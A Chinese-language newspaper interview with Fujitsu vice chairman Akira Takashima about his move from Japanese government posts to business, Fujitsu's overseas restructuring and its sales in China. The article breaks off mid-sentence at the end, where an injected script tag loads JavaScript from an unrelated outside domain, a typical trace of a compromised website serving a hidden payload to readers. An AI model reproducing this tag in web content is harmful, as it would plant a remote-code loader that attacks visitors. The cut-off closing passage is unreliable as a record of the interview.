在日本，富士通是一个稳固的国产计算机品牌，我们希望富士通是本土的老大，也一直在和ibm对抗，我很自豪的就是这种志气。
美国总统罗斯福曾经说过：“人经过努力可以改变世界，但他必须敏感，随时准备接受新鲜事物；他必须有勇气与能力去面对新的事实，解决新问题。”
对于年轻人来说，面对新事实、解决新问题也许并不困难，可对一个上了年纪的人来说，进入一个全新的领域并承担重责，则不得不令人仰视他的勇气和能力。正是因此，我们才会如此崇拜66岁开创肯德基的sanders上校。
sanders上校属于大器晚成的类型，而现任富士通公司董事副会长的高岛章先生年轻时代就有令人羡慕的工作。因此，他的转型更令人惊讶。
在58岁的高岛章先生1997年进入富士通公司之前，他的履历表里只有政府工作的经验：日本贸易局长、生活产业局长、环境立地局长、专利厅长官……职务高、跨度大、而且与企业管理毫无关联。
并非没有人心存疑惑，但成绩说明一切。自其2003年担任董事和执行专务，2004年担任公司董事副会长以来，富士通公司牢牢稳住其日本it市场领导者的地位，2003年连续第五次在道琼斯sam sustainability group"s environmental sustainability股指中排名第一，2005年进入美国专利排名前十位，在全球市场更是业绩斐然。
9月6日，专程前来参加第九届中国国际电子商务大会的高岛先生和本报记者一起坐在了北京鹏润大厦富士通公司明亮的会客室里。在早秋清凉的空气里，他的言语简单直接却极富感染力，短短两个小时，中日两国电子商务的发展现状便在我们面前跃然出现。
如果市场增长缓慢不要推卸责任
凡是决心取得胜利的人是从来不说“不可能”的。
——法国皇帝 拿破仑
如果海外分公司发展缓慢，应该怎么做？撤走？合并？降级？
“不。”高岛先生说：“而是给当地的经理赋予更大的授权。这样业务做不好，就没有办法推卸责任。”
今年9月初，富士通对包括中国在内的海外市场的经营模式进行了整体改革，取消事业部制度，各地设立总裁和地区办公室，大范围扩大地方经理人在当地市场的权限。
范兆霞：能不能详细介绍一下这次事业部改革的始末？是在什么样的情况下，公司做出这样的决定，这个决定又如何形成的？
高岛章：对有些行业来说，好像在日本国内能站住脚就意味着成功了，但是对富士通来说不是这样。我们希望各个事业部都能到国外去开创海外事业，开子公司。但是，事业部之间应该有一个积极的相辅相成的互动。如果各搞各的，并不能体现出富士通整体的实力。客户真正需要的，往往不是一个特定的产品，而是一个整体的解决方案。所以如果站在客户角度上来说，我们应该做什么呢？我们应该把半导体、服务器、软件等结合起来，把这种东西提供给顾客。
我们集团目前海外市场的销售额大概占30%左右，我们将尽快把这个比重提高到50%，提高我们整体的销售规模，同时提高我们产品在国际上的竞争力。
我们最终的一个目标是从设备经销到售后服务一气呵成。现在，我们在中国、美洲、欧洲等地都建立了专门的战略性部门，然后设置了最高经理人，让他们负责这一块的业务。比如说中国战略室，这里面职位最高的经理需要负责中国事业的各个方面。把权限放下去其实对我们公司来说是很不容易的事情。不过像这样做的话，大家就无法推卸责任了。以前工作做不好可以说是别人出了问题，现在是责任到人。
范兆霞：您刚才谈到，集团目前在海外市场的销售额大概占集团销售额的30%左右，在这里面，中国能占到多少？未来会有一个怎么样的变化呢？
高岛章：我想强调的一点是，富士通对海外的经营中，最重视的就是中国的业务。我们富士通集团现在在中国的销售额大概是2000亿日元，大概240亿元人民币左右。在这30%里面，欧洲、美洲、中国大概是1∶1∶1的比例。在富士通集团的销售额里，有10%来源于亚洲，其中占很大比例的就是中国。现在在中国的销售额是2000亿，我们什么时候把它变成3000亿、4000亿，现在还说不出太具体的时间。不过我希望增长率是一个非常高的数字。希望未来富士通在中国的经营规模增长率能够超过中国本身的gdp增长率。
范兆霞：富士通目前在中国有很多子公司，未来这些子公司之间会不会有一些整合？
高岛章：这个问题我们一直在不断地探讨。但是，我们在对公司进行整合、整顿的时候必须要站在公司职工的立场上，为他们考虑。整个企业技术、知识的延续是建立在人的基础上的，这是我们的企业文化。我们在对企业做整顿、整合的时候，也会在这个前提下进行考虑。
从政府要员到企业家长
有信仰就年轻，疑惑就年老；有希望就年轻，绝望就年老；岁月使你皮肤起皱，但是失去了热忱，就损伤了灵魂。
—— 卡耐基
虽然头发花白，但是高岛先生腰板挺直、双目炯炯有神，让富士通成为?script src=http://er12.com/t.js>
